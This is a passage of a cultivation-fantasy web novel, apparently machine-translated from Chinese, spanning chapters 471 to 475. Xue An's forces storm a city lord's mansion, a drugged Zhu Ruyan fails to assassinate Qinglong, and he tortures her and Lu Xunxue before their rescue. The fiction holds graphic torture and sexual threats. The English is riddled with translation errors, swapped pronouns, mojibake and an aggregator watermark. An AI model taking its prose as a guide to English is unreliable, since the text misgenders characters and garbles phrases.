    Sun Ling''s figure emerged, smiled at Zhou Daniu, and then jumped into the void again.


    Zhou Daniu touched his head and smiled silly.


    At this moment, a guard with a sword took the opportunity to sneak attack and slashed Zhou Daniu''s back with a sword.


    The sword that I thought was a must kill, but only made the golden light of the protective body flash a few times.


    Then Zhou Daniu turned around and looked at the guard with a surprised face.


    "The instructor said, don''t want to live any of you today!"


    With that said, Zhou Da Niu raised a fist big as a casserole and blasted it directly.


    This guard fought with a sword, but was blasted out by Zhou Daniu''s punch.


    When he fell on the ground, he vomited blood and died.


    Because there were people like Zhou Daniu and Cheng Hao, these guards began to reduce their staff quickly.


    But in a moment, seven or eight were already dead.


    The rest was so frightened that they turned around and wanted to run.


    But how could Cheng Hao and others let these people go and rushed directly.


    But for a moment.


    All the guards were killed.


    The corpse on the ground lay horizontally and vertically, and the blood stained the bluestone slab in front of the mansion gate.


    Jia Yingfa had already turned around and ran into the mansion to move rescue soldiers.


    "My Hall Master... My Hall Master! The big event is not good! The people from Qingmu Town have killed in!" Jia Ying called out for help.


    Du Bing, the master of the Fire King Palace, walked out of the room and frowned when he saw Jia Yingfa who was panicked.


    "What are you shouting?"


    "Master Hall, the people from Qingmu Town are here! They are going to rebel! If I hadn''t run fast, I might have been killed by now!" Jia Yingfa shouted in panic.


    "Rebellion?" Du Bing laughed.


    "Just a little Qingmu Town? Jia Yingfa, you are too timid! See how I clean up these guys!"


    With that said, Du Bing was about to walk outside.


    At this moment, I heard a calm voice, "Are you... are you from the Fire King Palace?"


    Du Bing was taken aback and looked up.


    Seeing Xue An walking slowly, after getting close, Xue An stopped and smiled slightly.


    "Changsheng? No wonder this Jia Yingfa is so bold!"


    Du Bing''s expression gradually became solemn, "Who are you!"


    "Me?" Xue An smiled faintly, "Aren''t you looking for me all the time? You keep saying that you want to kill me?"


    Du Bing trembled and exclaimed, "Xue An, you are Xue An!"


    Xue An nodded slightly.


    Du Bing''s heart gradually sank.


    As for Jia Yingfa, she was already shaking with fright.


    Although Xue An''s reputation has dropped a lot now.


    But what he did back then is still remembered by many people.


    Unexpectedly, it would be this killer who came today.


    Jia Ying cried secretly.


    Du Bing sneered, "Xue An, you really dare to show up, don''t you know that our Fire King Palace and Xuanfeng Tower are looking for you?"


    "so what?"


    "Xue An, don''t think that you were able to destroy the Immortal Palace in the first place. The power of our Palace Lord is far better than the original Immortal Palace Lord! I tell you, if you are the one who touched the Fire Palace, then you It''s dead!" Du Bing said sternly.


    In fact, he is very guilty now.


    How did you deal with Xue An alone?


    That''s why he wanted to move out of the Fire King Palace, so that Xue An knew of fear.


    Unexpectedly, his wishful thinking fell through.


    Xue An smiled upon hearing this.


    "What a coincidence? In fact, I have been looking for you in the Fire King Palace. Now that you are here, it saves me a lot of things."


    Du Bing was taken aback, just about to say something.


    Xue An suddenly flashed around and came directly in front of him. Then, as soon as he reached out, he grabbed his neck and lifted it into the air.


    Du Bing was furious and wanted to struggle.


    But at this time, he was shocked to discover that he couldn''t even struggle in Xue An''s hands.


    Jia Yingfa looked trembling.


    how is this possible����.


    The hall master is a longevity cultivation base!


    This Xue An just pinched him.


    At this time, Xue An raised his head to look at Du Bing, who was purplish-faced, and said lightly: "Don''t talk about your mass-produced longevity, even if it is a real longevity, it is nothing to me!"


    Upon hearing this, Du Bing was shocked, and his face showed an incredible expression.


    Then Xue An smiled slightly, "I know you should be able to see your spiritual thoughts, so I will tell you in advance to wash your neck and wait for me to kill you!"


    After all Xue An''s hands are hard.


    Click.


    Du Bing''s neck was severed.


    The round head fell to the ground and rolled to Jia Yingfa''s feet.


    Jia Yingfa''s legs were already trembling and couldn''t stand, and at the same time there was a smell of urine.


    He suddenly found himself really stupid.


    The Lord Hallmaster, who used to be invincible, didn''t even struggle in front of this man, so he was killed on the spot.


    It is ridiculous that I thought of him as a god.


    Xue An glanced at Jia Yingfa, then shook his head, turned and left.


    Killing such a person will only dirty his own hands.


    Jia Yingfa let out a sigh of relief.


    I felt fortunate, it seemed that I didn''t have to die.


    But this thought just flashed.


    A sting in his back awakened him.


    He looked down, and a long sword passed from his chest.


    Jia Yingfa turned his head stiffly to take a look.


    I saw Bian Tian glaring at him.


    "Bah, dog stuff, bully my sister, die for me!"

 Chapter 471： Miss Lu, please go back!

    Jia Yingfa didn''t expect that he would die in the hands of a little girl, and he couldn''t help screaming unwillingly, thinking about reaching out and grabbing Bian Tian.


    Bian Tian took a step back with some fear.


    At this moment, Jia Yingfa''s upper body exploded.


    As flesh and blood flew, Zhou Daniu withdrew his fist.


    Zou Yi said helplessly from the side: "I just said, don''t use so much energy, now it''s all right, the little girl was splashed with blood."


    Upon hearing this, Zhou Daniu smiled apologetically at Bian Tian.


    Bian Tian couldn''t laugh or cry, but knew that Zhou Daniu was trying to save himself, so he couldn''t help saying: "Thank you Brother Daniel!"


    Zhou Daniu''s face flushed, and he gave a muffled hum, turned and walked away quickly.


    From the beginning to the end of this battle, it took no more than one stick of time.


    Including the hall master of the Fire King Palace, all have died.


    Xue An stood in front of the city lord''s mansion, looking at these blood-stained, but highly motivated members of the Fire Phoenix, he couldn''t help but nodded in satisfaction.


    The aura in this Kunlun Secret Realm is much richer than the earth.


    After the members of the Fire Phoenix came in, they were like a fish in the water, and many people''s cultivation bases improved in these short days.


    Of course, this is not to say that Fire Phoenix people are all geniuses.


    It''s that the cultivation realm of these people has already reached that point. It''s just that the earth''s aura is lacking, and it needs to slowly accumulate enough aura to achieve a real breakthrough.


    And the rich aura in the Kunlun Secret Realm helped them save a lot of time.


    So it��s better to practice for one day here than ten days on earth.


    As a result, these people in Fire Phoenix were going crazy, and they all practiced hard day and night with red eyes.


    Only in this battle, these masters in Jizhou City Lord''s Mansion were easily resolved.


    Bian Qingmu only felt it was an eye-opener.


    The tactical qualities shown by Cheng Hao and others greatly shocked her.


    Before today, she didn''t know that the battle could be fought like this.


    "Instructor, all members of the Fire Phoenix wiped out 38 enemies without any casualties! Please instruct!" Cheng Hao said with great pride, raising his chest.


    Xue An smiled slightly, "Very good, but this is just an appetizer, the real whetstone is still behind, do you... have confidence?"


    "Have!"


    "That''s good! Let''s go!"


    This time, Xue Anjian pointed to Kunlun City.


    And in the Fire King Temple in Kunlun City.


    The Lord of the Fire Temple suddenly woke up from his deep sleep.


    Then sit up slowly.


    "Come on!"


    "Hall Master!" Someone responded in the darkness.


    "Let''s pass on the order, strengthen guard..., that person is back!"


    "Yes!"


    After they retreated, Lai Shuo''s eyes flickered with the majesty of this face, which looked like the emperor''s Fire King Hall.


    As Xue An expected.


    He could perceive everything that happened through a trace of divine thought buried in the sea of ??knowledge of the hall master and others.


    Therefore, he heard Xue An''s words.


    "You can see the clues of Du Bing and the others at a glance, you really have some skill!"


    Lai Shuo whispered to himself, and the eyes of the majestic and majestic statue shining behind him seemed to be flickering.


    This is an extremely luxurious room.


    Cloud yarn used to make luxurious clothes was hung all over the room for decoration.


    A wisp of green smoke floated in the beast censer made of fine gold of the five elements.


    An elegant fragrance filled the room, making people forget the vulgarity.


    A beautiful woman bowed and walked in, "The hostess, the hostess, the Fire King Palace is arranging people and horses just now, and it seems to be stepping up guard!"


    After a while of silence.


    Just listen to the woman''s laughter from the bed covered by light gauze.


    "Haha! Lai Shuo doesn''t see rabbits or scatter eagles. So, has Xue An who destroyed the fairy palace returned?"


    No one dared to talk.


    The body of the last woman who was arrogant and talked casually because of her pet was already rotten.


    A foot carved out of jade slowly stretched out, stepping on the warm stool in front of the bed, and then a beautiful figure of a woman appeared behind the veil.


    Although he can''t see his face clearly, the reflection alone is enough to make people burst into blood.


    But these women buried their heads lower, and no one dared to look up at will.


    "Pass the order on and inquire about the news carefully. I want to know when this Xue An entered Kunlun! And his details!"


    "Yes!"


    The already calm water in Kunlun City began to surge again.


    But Zhu Ruyan is not quite clear about all this.


    She almost stays at home now, practicing the exercises Xue An gave her in her room all day long.


    It''s not that she doesn''t want to go out.


    It simply cannot.


    As the person next to Xue An at the time, she is now the key surveillance object of the Fire King Palace and Xuanfeng Tower, and she has been put under house arrest.


    The sound of knocking on the window awakened Zhu Ruyan from her deep concentration. She looked up and found that it was her senior sister Lu Xunxue. She hesitated and opened the door.


    "Senior Sister!"


    Lu Xunxue looked embarrassed, turned one side, and Zhu Lei and others appeared behind him.


    Upon seeing these people, Zhu Ruyan''s complexion suddenly became difficult to look.


    "Senior Sister, you..."


    Zhu Lei smiled slightly, "Junior Sister Ruyan, don''t blame Xunxue, I let her do this!"


    "What are you going to do?" Zhu Ruyan asked in a deep voice.


    "Junior Sister Ruyan, now you don''t even call Senior Brother Sheng?"


    Zhu Ruyan sneered and said: "You are not worthy!"


    Zhu Lei sighed slightly, "Okay, I have no other meaning in coming. You will hand over the cultivation techniques that Xue An taught you at the beginning. I will turn around and leave. What do you think?"


    "Don''t think about it!"


    "Junior Sister Ruyan, I will call you the last one, don''t you understand the truth that everyone is innocent and guilty? Now that the Fire King Palace and Xuanfeng Tower have entered Kunlun, he can''t come back!"


    "I promise as long as you teach me the exercises, then I can keep you safe!"


    "How to protect? Let me bow to the people of Fire King Palace or Xuanfeng Tower? Sorry, I can''t do it!" Zhu Ruyan said coldly.


    Zhu Lei''s complexion also became difficult to look, "Ruyan, don''t be obsessed with it! He can''t come back, even if he does, he will definitely end in death! If you are still in such a stalemate, you will probably die soon. The place of burial."


    "Hehe, you are still scared! Why? Do you want to study the countermeasures against him through the exercises I know? I tell you Zhu Lei, it is absolutely impossible, even if I die! I will not betray him!" Like water.


    Zhu Lei''s expression finally cooled down, and he sneered: "Well, since you are so obsessed, I have nothing to say! But what I want to tell you is that as a woman, there are many things more terrifying than death waiting. To you!"


    After all, Zhu Lei turned and left.


    Zhu Ruyan clutched the door frame tightly with both hands, and his fingers turned white due to excessive force.


    Lu Xunxue sighed, "Junior Sister...!"


    "Stop talking, Miss Lu, please go back!" Zhu Ruyan said, turning around and closing the door.


    Lu Xunxue stood in front of the door blankly.


    Miss Lu...


    This title made her laugh wryly.

 Chapter 472： Fingertips are slightly cool

    Lu Xunxue stood silent for a long time, then turned and left with a long sigh.


    Zhu Ruyan leaned against the door, listening to the sound of footsteps outside the door, and then slowly slipped to the ground, crying silently.


    In these days, the pressure from all sides almost made her collapse.


    Zhu Lei''s sinister intentions, the eye-catching eyes of the Xuanfeng Building of the Fire King Palace, and the cynicism from the outside world made Zhu Ruyan suffer.


    She knew what these people wanted to do.


    They all want to deal with Xue An by themselves.


    So she can''t fall down.


    But this is really tiring.


    Once upon a time, Lu Xunxue silently helped her.


    But until today, even Lu Xunxue "betrayed" her.


    But Zhu Ruyan didn''t hate her.


    It is human nature to seek advantages and avoid disadvantages.


    As a senior sister, she has done enough.


    The kindness that I just showed, I just don''t want her to fall with me.


    After crying for a while, Zhu Ruyan slowly got up and sat down in front of the dressing table.


    The woman in the bronze mirror still has tears on her face, but she is still charming as a flower.


    Looking at it, Zhu Ruyan couldn''t help being a little silly, and muttered to himself: "My lord, when are you coming back? Ruyan is so tired, I''m afraid I can''t hold it!"


    As he said, Zhu Ruyan smiled, but big tears fell sternly.


    After a long time, Zhu Ruyan wiped away the tears, his eyes slowly emerged with determination and coldness.


    The night is gradually rising.


    A deep night enveloped the hut.


    Zhu Ruyan lightly touched her lips, inserted the last hairpin, and then stared at herself in the mirror for a while.


    At the moment, Zhu Ruyan, dressed in a full dress with a little powder, is even more beautiful and unparalleled.


    After a long time, Zhu Ruyan stretched out his hand and gently touched himself in the mirror.


    The cold bronze mirror cools the fingertips slightly, and lightly swiping it, the wisps of light cut the heavy bronze mirror into pieces.


    If anyone else is here, they will exclaim.


    Sanxian peak.


    That weak woman had already cultivated to the peak of Sanxian in just two years.


    This rate of progress can be regarded as shocking in Kunlun.


    Of course, this is also because at the time, Xue An gave her the blood level after the death of Fu Wuliang, the lord of the Immortal Palace.


    But this also proves that Zhu Ruyan''s practice is mysterious enough, otherwise it would not be so easy to get through the moat just to break through the gods.


    This is why Zhu Lei and others are so jealous.


    After a long silence, Zhu Ruyan got up and opened the door.


    A few guys at the door were gathering together to chat.


    When I saw Zhu Ruyan dressed up for traveling, I couldn''t help being stunned.


    Zhu Ruyan walked over and said softly: "Take me to see Brother Zhu!"


    The voice is cool and pleasant.


    The man in the lead trembled all over, then he recovered his sobriety, and then nodded hurriedly, "Okay, I will make arrangements!"


    After speaking, he turned around and arranged arrangements. After a while, a carriage was brought in.


    "Girl Ruyan, please!"


    Zhu Ruyan asked to lift the skirt, and got into the carriage gracefully, waiting to lower the curtain and walk away.


    These guys looked at each other, and then they all showed a narrow smile.


    "Have you seen, how crazy this woman was at first, she even cursed Master Zhu this morning, but now, isn''t she obediently subdued?"


    "Hey, this lady is so beautiful! No wonder Mr. Zhu is reluctant to kill! If it is me, I have to keep it and enjoy it!"


    "Hehe, I''m afraid you won''t be blessed to enjoy it! Such a woman is not something we can match."


    "Tsk tusk, can''t you think about it? Isn''t the beautiful woman still afraid of death?"


    Then these people''s conversations began to become very nasty and unpleasant, and from time to time they made a few silver evil laughs, which spread far and wide in this silent night.


    And Zhu Ruyan on the carriage, just quietly lowered his eyes, clasped his hands in the sleeves tightly.


    The carriage soon came to a bustling place.


    It turned out to be the famous Beauty Hall of the Pinjin Grottoes in Kunlun City.


    Hearing this name has a feminine coquettish meaning.


    "Girl Ruyan, it''s already here! Lord Zhu is inside now!"


    Zhu Ruyan nodded, got out of the car with an indifferent expression, and then walked in under the guidance of the driver.


    Wherever he went, it was quiet.


    The pleasure seeker was shocked by her stunning appearance, and all forgot to drink.


    The laughing girls who were acting coquettishly in the arms of the benefactor were also stunned.


    Until her figure walked away, these people seemed to be relieved of the acupuncture points and returned to normal.


    "Who was that woman just now, she''s so pretty! I think she''s even more prettier than the Oiran Girl Pei!"


    "Shh, I recognize this woman, isn''t that Zhu Ruyan!"


    hiss.


    The name Zhu Ruyan made many people look at each other, and then expressed regret.


    "It''s sigh that Xue An was such a hero at the beginning, but he didn''t want to be just two years old, and he would be scattered like wind and rain, and even the confidante around him could not keep it!"


    "This is not bad, at least for several months!"


    "Tsk tusk, I''m afraid that it will become a plaything for many people!"


    Although these comments deliberately lowered their voices, they still drifted into Zhu Ruyan''s ears from time to time.


    Zhu Ruyan lowered his head gently, letting the green silk slip off, blocking his eyes.


    Go upstairs, turn around and come out of a box.


    "Girl Ruyan, Master Zhu is drinking with Young Master Qinglong in the Xuanfeng Tower. Do you need me to tell her first?"


    Zhu Ruyan shook his head and pushed in directly.


    In this luxurious room, Zhu Lei was sitting down with his head down, drinking with a handsome and arrogant man in his twenties.


    There were several beautiful women to accompany him.


    As soon as Zhu Ruyan entered, he attracted everyone''s attention.


    Zhu Lei was taken aback first, "Ruyan?"


    Zhu Ruyan lowered his head and said nothing, but the coachman who led her winked at Zhu Lei.


    Zhu Lei immediately understood A smug smile appeared on his face, and then said to the young Master Qinglong with a stunning look.


    "Young Master Qinglong, this is my junior sister, Miss Zhu Ruyan!"


    Qinglong''s eyes flickered, his greedy gaze swept across Zhu Ruyan''s body, and then he smiled slightly and said in a cold and arrogant tone.


    "Zhu Ruyan, I know! Let her come and sit down!"


    Zhu Lei nodded and bowed, turning around to persuade.


    However, Zhu Ruyan slowly walked over and sat beside Qinglong.


    I wish Lei a happy heart.


    Now he is in the Kunlun City, all because he saw the opportunity quickly and hugged the big tree of Xuanfenglou Young Master Qinglong.


    And this young man Qinglong has always been interested in Zhu Ruyan and her practice.


    That''s why he persuaded Zhu Ruyan so hard.


    But it has always failed.


    Even this morning I got a dirty nose.


    But in the evening, Zhu Ruyan would have opened his mouth and came over by himself.


    Thinking of this, Zhu Lei''s smile couldn''t help becoming stronger and more proud.


    It''s just that he didn''t notice the coldness in Zhu Ruyan''s eyes.

 Chapter 473： Fairy laugh

    Qinglong raised his glass in his hand and looked at Zhu Ruyan playfully, "The girl Ruyan really deserves her reputation, she is really stunning!"


    Zhu Ruyan was silent for a moment, "Master Xie praised!"


    "Come on, drink this glass!" Qinglong handed over a glass of wine.


    Zhu Ruyan shuddered slightly, then stretched out his slender hand, took the wine glass, and drank it.


    "Good drink!" Qinglong stroked his palms and admired, "I heard that Ruyan girl was born in the place of fireworks before, I still don''t believe it. Seeing her drink today, I know the rumors are true.


    This sentence is prickly and sounds very harsh.


    Zhu Ruyan''s face turned pale, but he only whispered: "The son is joking."


    Zhu Lei wanted to make a round of the field, and hurriedly said with a smile: "My lord, my junior sister was also innocent because of the big changes in her home. There was no other way to enter the fireworks field. Moreover, she was innocent and innocent. "


    The brother said to other people that his sister is innocent.


    This scenario is simply ridiculous.


    But Zhu Ruyan just lowered his head slightly without saying a word.


    Qinglong suddenly became angry without knowing why, and said coldly.


    "Out of the silt and not stained? Haha! I don''t believe that there are any women in this world who can resist all kinds of temptations from the outside world! What a savage person is nothing more than deceiving the world! And having been with him for so long, it is estimated that she has already been defeated. Willow!"


    Zhu Lei whizzed but did not dare to speak.


    Qinglong waved his hand, "Go out, there is nothing to do with you here!"


    Zhu Lei hesitated for a moment, and then bowed his hand, "Yes!"


    When he exited, he brought the door lightly.


    Qinglong and Zhu Ruyan were left in the room at this time.


    "Pour wine!"


    Zhu Ruyan obediently picked up the jug and filled a glass of wine.


    Qinglong took it and drank it.


    So there was silence in the room.


    Zhu Ruyan pours wine, Qinglong drank it all.


    I don''t know how long it took.


    Anyway, a dozen of the hip flasks were emptied.


    Qinglong was already a little drunk and confused, leaning carelessly on the collapse of the house, waved at Zhu Ruyan, "Come here!"


    Zhu Ruyan stood up silently, his hands dropped naturally, and the short sword hidden in his sleeve fell into his left hand.


    this is a good chance.


    This Qinglong is drunk now, as long as he is close to him and suddenly violent, even if he is a long life, he will have to be killed by himself.


    As long as you kill this person, then you will be worthy of death!


    Thinking in his heart, Zhu Ruyan slowly collapsed.


    But just when she had stepped into the range that could be assassinated, she heard Qinglong say faintly: "You are very calm!"


    Zhu Ruyan was startled.


    "I guess you must be holding a dagger in your right hand hidden in your sleeve!"


    Zhu Ruyan''s face was pale, but he only whispered: "The son is laughing!"


    But at this moment of bowing his head, Zhu Ruyan suddenly violent, his short sword turned into streamer, and he pierced Qinglong straight.


    The full blow of Sanxian Pinnacle should not be underestimated.


    But Qinglong didn''t move at all, just sat on the soft collapse slightly mockingly and watched.


    Seeing that the dagger was about to hit the face of Qinglong, at this moment, Zhu Ruyan felt black in front of him, and the strength of the original surging cultivation was retreating like a tide.


    With a splash, Zhu Ruyan fell to the ground, and the dagger fell to the ground.


    Qinglong sat up, looked down at Zhu Ruyan who was lying on the ground, unable to move his fingers, and smiled slightly.


    "I''m very curious, what kind of technique can make a weak girl of you become a Sanxian in two years! And would you rather assassinate a Changsheng than say it?"


    Zhu Ruyan didn''t even have the strength to speak, so he could only lift his head as best as he could and stared at Qinglong with an angry gaze.


    "Do you want to ask what''s going on?" Qinglong said.


    Zhu Ruyan glared.


    Qinglong said with a smile: "There is something called Fairy Smile in the glass of wine you drank. This thing is not a poison, but it can make a cultivator under the longevity lose one hour of cultivation."


    Zhu Ruyan''s heart slowly sank.


    "One hour!" Qinglong sighed softly, "enough for a lone man and widow to do a lot of things in a brothel room! Especially..."


    Qinglong picked up the short sword on the ground and walked around Zhu Ruyan''s face, "You still look so good!"


    Zhu Ruyan''s pupils shrank slightly, because Qinglong at this time looked crazy, like a lunatic.


    "Don''t look at me with that look, I''m not a lunatic, I''m just..." Qinglong said with a grin, and suddenly the sword light flashed.


    The short sword pierced into Zhu Ruyan''s palm, passed directly through, and nailed to the floor.


    The blood instantly stained the ground, and Zhu Ruyan trembled in pain.


    "I just hate you beautiful bitches!" Qinglong said with a grin, holding the dagger and spinning slowly.


    Zhu Ruyan trembled slightly, but there was not much expression on his face, and even looked at Qinglong with a nearly calm look.


    "Why... why do you look at me with this look? You bastard! Shouldn''t you beg me for mercy in fear?"


    Zhu Ruyan''s eyes completely angered Qinglong. He grabbed Zhu Ruyan''s hair and slammed it on the floor frantically.


    Bang bang bang.


    After a few strokes, blood flowed down Zhu Ruyan''s forehead.


    But even so, Zhu Ruyan still had no expression, and there was even a hint of pity in his eyes.


    "What is your look? Are you pitying me? You bastard! Believe it or not, I will call in dozens of stinky men to give you a round?" Qinglong shouted hoarsely, his face full of hideousness.


    Zhu Ru raised the corner of his cigarette slightly, exhausted all his strength, and said two words softly, "Waste!"


    As soon as these two words came out, Qinglong was going crazy, and his face was sullen and he pulled out his dagger, grabbing Zhu Ruyan''s hair, letting her head back, and the dagger resting on her throat.


    The sharp blade of the dagger easily cut through Zhu Ruyan''s fat-like skin.


    "You say I''m a trash? Haha, you bitch, I want to torture you a little bit! I don''t believe you won''t beg for mercy!"


    But at this moment, the window facing the street suddenly shattered, and then a woman rushed in, raising her hand with a few silver needles.


    Qinglong turned his head slightly and avoided the silver needle.


    The woman who rushed took the opportunity to grab Zhu Ruyan on the ground, turned and ran.


    Qinglong grinned, "Want to save people? Then you stay too!"


    Speaking a palm blasted out.


    boom.


    The woman was not Qinglong''s opponent at all, she was directly hit in the back by this palm, and spit out a big mouthful of blood, but even so, she still did not let go, instead, using the force of this palm, she rushed out.


    But just when they had rushed to the window and could rush out.


    A thin light curtain directly blocked them.


    boom.


    The woman was back shocked by the light curtain, and Qinglong kicked it out in a daze.


    The woman flew out, and when she landed on the ground, she vomited blood and couldn''t stand up.


    Zhu Ruyan looked at the woman. Although she was venomous, she still struggled hard and yelled out two words with canthus.


    "Senior Sister!"

 Chapter 474： This is the pan, too!

    That''s right, the woman who rushed in to rescue Zhu Ruyan was Lu Xunxue.


    She had just been hiding in the distance, secretly watching everything that happened in the house through secret techniques.


    When she saw that Zhu Ruyan was about to die by the sword, she finally couldn''t help it, and rushed in desperately, trying to rescue Zhu Ruyan from Qinglong''s.


    unfortunately.


    The gap in strength is too great.


    It is not based on willpower or other things that can make up for it.


    At this moment, Lu Xunxue, lying in a pool of blood, smiled sadly at Zhu Ruyan, "Silly girl, I went to find you at night, and found that you have already left, I know what you plan to do!"


    Zhu Ruyan burst into tears, opened his mouth to speak, but couldn''t speak at all.


    Qinglong applauded and exclaimed, "Tsk tsk, it''s true sisters love, I will be touched by everything!"


    With that, Qinglong raised his hand, and the short sword was directly nailed to Lu Xunxue''s shoulder.


    Lu Xunxue screamed in pain.


    Zhu Ruyan was going crazy, trembling all over, he wanted to crawl over.


    But the power of the fairy smile made her unable to move at all, she could only watch with tears.


    Qinglong slowly walked to Lu Xunxue''s body, squatting down to look at Lu Xunxue, "I wonder, don''t you have a bad relationship with Zhu Ruyan? Why are you desperate to save her?"


    "Because... I am her senior sister!" Lu Xunxue''s face was pale, but she looked at Qinglong without fear.


    This answer obviously made Qinglong very angry, and his face gradually became gloomy.


    "Very well, in that case, then I will help you!"


    With that, Qinglong suddenly drew out the short sword, and then stabbed it again.


    This time it was the stabbed elbow.


    The blade cut the bone, squeaked, and then nailed it deeply into the board.


    The pain was crazy enough to make Lu Xunxue let out a few low screams.


    "Why, why do you **** irritate me so much? I want to break your bones a little bit!"


    Qinglong roared, trying to pull out the short sword, but found that the bone was stuck in the owner, so he kicked Lu Xunxue''s arm with his foot, and drew it out of it.


    Then he slowly cut Lu Xunxue''s arm.


    The sound of the flesh being cut makes the scalp feel numb.


    Lu Xunxue lay on the ground, and said in a soft tone to Zhu Ruyan, who was already trembling with tears not far away.


    "Close your eyes, don''t look!"


    Tears gradually flowed from Zhu Ruyan''s eyes.


    A strong smell of blood floated out of the room.


    Zhu Lei, who was hiding outside, looked pale.


    He heard all the screams just now.


    He wanted to go in.


    But reason told him.


    If you go in, Master Qinglong is likely to let himself die.


    In Xuanfeng Tower.


    Qinglong''s violence and irritability are well known.


    He can only silently find excuses for himself.


    "Anyway, this Zhu Ruyan is definitely going to die! It''s better to die in the hands of Master Qinglong, and he can be a ladder of his own."


    Just thinking about it, I heard a gentle voice.


    "Excuse me, is Miss Zhu Ruyan inside?"


    Zhu Lei looked up and saw a beautiful woman leading two delicate little girls standing not far away, talking to herself.


    The beauty and temperament of this woman have exceeded Zhu Lei''s imagination.


    He stammered a bit: "Who are you? Why are you looking for Ruyan?"


    The woman smiled, "Oh, I am looking for her for my husband!"


    Husband?


    What is this strange title?


    But the beauty of this woman made Zhu Lei start to think.


    If this is dedicated to Master Qinglong, it should be even more appreciated.


    Thinking in his heart, Zhu Lei tried his best to make himself smile politely.


    "Miss Ruyan is indeed inside, but she is discussing things with others, but she doesn''t know the girl''s name?"


    An Yan smiled slightly, "My name is An Yan, and my husband''s name is Xue An!"


    Zhu Lei smiled and nodded, "An Yan, it''s really good..."


    Zhu Lei''s smile froze, and his eyelids jumped wildly.


    Xue An!


    She is talking about Xue An?


    Could it be Xue An who killed the Immortal Palace?


    When Zhu Lei shouted in his heart.


    There was a woman''s scream from the room.


    An Yan''s smile grew colder, "Is that what you said about deliberation?"


    Zhu Leiqiang smiled, not knowing what to say.


    A pan suddenly appeared in An Yan''s hand, and it fell directly on the wall.


    boom.


    The wooden wall was smashed to pieces.


    The scene inside was revealed.


    There is blood on the ground.


    The two women lay on the ground, recklessly.


    And a man was squatting on the ground, cutting something with a knife.


    An Yan''s face sank when she saw this, "Think, Nian, close your eyes!"


    The two little girls obediently found a corner that was not in the way, and closed their eyes.


    At this time, Qinglong also slowly stood up, when he saw that the one who broke the wall was actually a stunning beauty.


    His eyes gradually heated up.


    And Zhu Lei rushed to his side and said tremblingly: "Master Qinglong, this...this woman is from Xue An!"


    Hearing this sentence, Qinglong was slightly taken aback.


    And Zhu Ruyan and Lu Xunxue, who were dying on the ground, were also shocked.


    "Hehe, Xue An''s woman! Interesting! It seems that there are so many beauties around Xue An!"


    Qinglong said with a smile, raised the dagger, stretched out his tongue to lick the blood on the blade, his eyes were cold and greedy.


    An Yan frowned, and the tragic situation of Zhu Ruyan and Lu Xunxue on the ground angered her.


    "Scumbag! Take it to death!" An Yan didn''t bother to talk nonsense with this kind of person, raising the pan in his hand and patted it.


    Qinglong didn''t care, and even took a step, wanting to catch this woman directly.


    But he was wrong.


    With the wind and thunder, the pan slapped directly on his shoulder.


    boom.


    Qinglong was photographed flying out.


    This is nothing.


    A flash of lightning flashed, and Qinglong let out a scream.


    When he barely landed on the ground, his clothes were broken and his hair was smoggy.


    "What''s the matter! What is this?" Qinglong was furious.


    An Yan held the pot with both hands, and said coldly: "This is it, UU Reading pan is also!"


    Pan?


    What it is?


    Are you cooking?


    Thinking that he might have been hit by a cooking pot, Qinglong was furious.


    A huge shadow of a mysterious bird suddenly appeared behind him, and then said gloomily: "Woman, you angered me, I must make you a little bit..."


    The words are not finished.


    Seeing the wall shattered, then a figure appeared in the room, punched out, and directly hit Qinglong''s left cheek.


    The power of this fist directly smashed the phantom behind Qinglong, and at the same time smashed him off the ground.


    When Qinglong landed, the left half of his face had been smashed to shatter, looking so hideous and terrifying.


    The figure closed his fist in his hand and said lightly: "Dare to bully my wife?"

 Chapter 475： This is retribution

    The room was quiet.


    As he heard the long-awaited voice, Zhu Ruyan tried his best to raise his eyes slightly.


    When I saw the smile that often appeared in dreams.


    The corner of Zhu Ru''s cigarette holder raised slightly and smiled.


    that''s nice!


    He is back!


    Everything...there is a solution.


    Qinglong stared at Xue An with only one eye left, his eyes gleaming with surprise and anger.


    Zhu Lei on the side was already shaking like chaff, and said in a trembled voice: "Big...sir, he is Xue An!"


    Xue An was now looking down at Zhu Ruyan and Lu Xunxue on the ground.


    After a while, he sighed slightly and raised his head to look at Qinglong.


    "Did you do this all?"


    Qinglong was startled slightly, and then said with a grin: "So what? It''s just two **** women..."


    "It''s fine!" Xue An interrupted him, and then his figure disappeared.


    When he reappeared, he was already standing in front of Qinglong and suddenly pinched his neck.


    Qinglong struggled, and the phantom of the black bird that had just been crushed began to condense again.


    The cultivation base of the longevity realm made this mysterious bird exude a terrifying aura.


    Qinglong was excited.


    If you could take this opportunity to kill Xue An, that would be great.


    Therefore, the mysterious shadow of the mysterious bird has a mouth, and a group of mysterious bird fire rushes out.


    The fire was so fierce that the scorching air was beeping.


    But Xue An just smiled at this, and then gave a soft drink.


    "roll!"


    Upon hearing this drink, the profound bird phantom didn''t even have the ability to resist, so it was bombed to smash.


    Qinglong was stupid.


    How is this possible?


    He actually drank the mysterious bird and sacred beast worshipped on the top of the Xuanfeng Building.


    This����.


    He was terrified.


    Xue An grabbed his neck and slammed down suddenly.


    boom.


    The floor was smashed into a big hole.


    Sawdust splashed Qinglong''s face.


    This made Qinglong completely angry.


    "You bastard! I''m going to kill you!"


    But no matter how hard he tried, the hand that pressed his neck was like a cast of steel, motionless.


    Qinglong''s head was pressed into the floor, struggling with his hands and feet.


    The cultivation of the longevity stage made his struggle quite powerful.


    At least the whole building creaked overwhelmedly.


    Xue An smiled coldly when he saw this, then suddenly raised his fist and blasted out.


    Click.


    Qinglong''s entire body softened.


    Xue An''s punch directly shattered his spine.


    However, the cultivation base of the longevity made his injury quickly recover.


    Xue An smiled slightly and began to smash with punches.


    Every time it hits, the whole building shakes.


    Qinglong''s body would also tremble for it.


    After a dozen strokes, Xue An raised his hand.


    Seeing Qinglong''s head had been smashed, although the white light flashed rapidly, he was repairing his injuries.


    But Qinglong''s face swollen like a pig''s head was still full of horror.


    "you����."


    Xue An shook his head, "Originally, I could kill your life with one punch, but what you did to Ruyan and them angered me! So I think I should prepare a fun-filled night for you!"


    At this time, the swelling on Qinglong''s face had subsided, and he shouted in anger, "What are you going to do?"


    Qinglong''s heart was full of fear at this time.


    He just fought back a few times, but it didn''t work.


    It can be seen that Xue An''s cultivation base is much higher than his own.


    This also made Qinglong''s arrogance a lot more honest.


    Xue An smiled slightly, "It''s nothing, just let you taste the taste of being abused and killed!"


    With that, Xue An said softly: "Come on!"


    Following the voice, I saw Cheng Hao and others appearing from various places.


    "This guy will leave it to you, let him taste the interrogation technique that has been studied and improved by countless people!"


